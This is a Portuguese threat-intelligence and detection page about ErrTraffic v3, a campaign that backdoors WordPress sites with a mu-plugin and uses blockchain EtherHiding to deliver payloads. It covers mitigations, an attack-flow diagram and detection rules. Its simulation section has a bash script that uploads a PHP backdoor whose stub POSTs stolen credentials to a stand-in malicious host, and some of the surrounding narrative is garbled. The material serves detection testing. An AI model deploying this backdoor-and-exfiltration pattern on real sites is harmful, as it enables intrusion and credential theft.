ErrTraffic v3 Utiliza EtherHiding em Campanhas ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório descreve uma nova campanha que utiliza a ferramenta ErrTraffic v3 para comprometer sites WordPress instalando uma backdoor de mu-plugin. A backdoor injeta JavaScript ofuscado que recupera cargas adicionais através de uma técnica de EtherHiding baseada em blockchain. A etapa final entrega código malicioso específico do sistema operacional, incluindo uma carga útil do PowerShell criptografada, para os navegadores das vítimas. Erros de segurança operacional, como chaves embutidas, expõem a infraestrutura.
Investigação
LevelBlue SpiderLabs examinou a backdoor do mu-plugin do WordPress, o beacon JavaScript embutido, e o painel de controle ErrTraffic V3. Eles traçaram o uso de chaves XOR estáticas, decodificação Base64, e chamadas de contratos inteligentes para nós Polygon RPC. A análise também identificou a chave de autenticação embutida usada para comunicação API e mapeou a infraestrutura de hospedagem em vários provedores de resistência à prova de balas.
Mitigação
Os defensores devem remover a backdoor do mu-plugin, bloquear TLDs maliciosos conhecidos e faixas de IP, monitorar o uso da chave API embutida, e restringir conexões de saída para endpoints de blockchain RPC. Audite regularmente instalações WordPress em busca de mu-plugins inesperados e valide a integridade dos arquivos. Implante firewalls de aplicação web para detectar os padrões de beaconing do JavaScript.
Resposta
Após a detecção, isole o servidor web afetado, remova os arquivos de backdoor e troque todas as credenciais de administrador. Bloqueie os domínios maliciosos identificados e endpoints RPC no perímetro da rede. Conduza uma revisão forense completa para identificar quaisquer cargas baixadas e monitore a atividade contínua de C2 usando o token API divulgado.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>Explorar site WordPress para enviar mu-plugin malicioso (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Ação</b> – <b>T1671 Integração de Aplicativos em Nuvem</b> / <b>T1525 Implantar Imagem Interna</b><br/>Backdoor instalado como um plugin de uso obrigatório executando em cada requisição"] class step_persistence action step_credential_access["<b>Ação</b> – <b>T1056.003 Captura de Entrada</b><br/>JavaScript injetado captura credenciais de administrador e as envia para o atacante"] class step_credential_access action step_c2["<b>Ação</b> – <b>T1102.003 Serviço Web Comunicação Unidirecional</b><br/>Beacon envia dados do visitante através de navigator.sendBeacon para domínios de atacantes"] class step_c2 action step_obfuscation["<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b><br/>Cargas codificadas com Base64 e XOR, embutidas em scripts inline"] class step_obfuscation action step_smart_contract["<b>Ação</b> – <b>T1059.009 API de Nuvem</b><br/>Script consulta endpoints Polygon RPC e contratos inteligentes (EtherHiding) para URLs"] class step_smart_contract action step_dead_drop["<b>Ação</b> – <b>T1102.001</b><br/>Usa blockchain como depósito morto para configuração de C2"] class step_dead_drop action step_encrypted["<b>Ação</b> – <b>T1573.001 Criptografia Simétrica</b><br/>Tráfego API criptografado com AESu2011GCM ou RC4 usando chave embutida"] class step_encrypted action step_execution["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Baixador cria diretório temp, escreve executável e busca carga específica do sistema operacional"] class step_execution action step_priv_esc["<b>Ação</b> – <b>T1546.016 Pacotes de Instalador</b><br/>Script PowerShell registra como pacote de instalador para manter acesso"] class step_priv_esc action %% Connections step_initial_access –>|leva a| step_persistence step_persistence –>|permite| step_credential_access step_credential_access –>|fornece| step_c2 step_c2 –>|usa| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|armazena| step_dead_drop step_dead_drop –>|entrega| step_encrypted step_encrypted –>|suporta| step_execution step_execution –>|permite| step_priv_esc "
Fluxo de Ataque
Detecções
Linha de Comando Suspeita Contém Caminho UNC com Executável como um Argumento (via cmdline)
Ver
Padrões Possíveis de ClickFix em Linha de Comando (via cmdline)
Ver
Possível Processo de Execução de Powershell em Diretório Suspeito (via cmdline)
Ver
Chamada de Métodos .NET Suspeitos a partir do Powershell (via powershell)
Ver
Possíveis Indicadores de Ofuscação do PowerShell (via powershell)
Ver
Tentativa de Abuso do Ethereum Publicnode como Canal de C2 (via dns_query)
Ver
Comando e Controle Suspeito por Solicitação DNS de Domínio de Primeiro Nível (TLD) Incomum (via dns)
Ver
Detecção de Carga Útil Obfuscada do PowerShell com Uso Forçado de TLS 1.2 [Windows PowerShell]
Ver
Detecção de JavaScript Embutido e Backdoor do WordPress [Servidor Web]
Ver
Detecção de Atividade ErrTraffic V3 em Sites WordPress Comprometidos [Servidor Web]
Ver
Execução de Simulação
Pré-requisito: A Checagem Prévia de Telemetria & Baseline deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.
-
Narrativa do Ataque & Comandos:
Um atacante comprometeu uma conta de administrador do WordPress e carrega um arquivo PHP malicioso nomeadosession-manager.phpna raiz web. O arquivo contém uma seção HTML que parece benigna, terminando com um<script>bloco cujo comentário diz “JavaScript embutido no final da seção”. O script realiza uma extração de dados furtiva para um bucket de armazenamento em nuvem (simulado via umPOST curl). Sem uso dePOST). No use ofnavigator.sendBeacon()está presente, mantendo a solicitação dentro da janela de detecção da regra.- Carregar backdoor malicioso:
curl -u admin:senha -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - Acionar a backdoor (gera a telemetria que aciona a detecção):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Carregar backdoor malicioso:
-
Script de Teste de Regressão:
#!/usr/bin/env bash # # Simula o upload e a invocação de uma backdoor maliciosa em WordPress # que contém a frase exata que a regra Sigma procura. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="senha" # 1. Criar a carga PHP maliciosa localmente cat > session-manager.php <<'EOF' <?php // JavaScript embutido no final da seção echo "<!DOCTYPE html><html><body>"; echo "<script>/* código malicioso */</script>"; echo "</body></html>"; // Stub de exfiltração simples (sem sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('credenciais_roubadas'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Fazer upload da carga via endpoint de upload assíncrono do WordPress curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Upload de session-manager.php malicioso completo" # 3. Invocar a backdoor para gerar tráfego visível pela detecção curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Backdoor acionada – a telemetria de detecção deve estar visível agora" # 4. Opcional: pausa para ingestão no SIEM sleep 5 -
Comandos de Limpeza:
# Remova o arquivo malicioso do servidor (requer acesso SSH de administrador) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Limpeza completa – backdoor removida"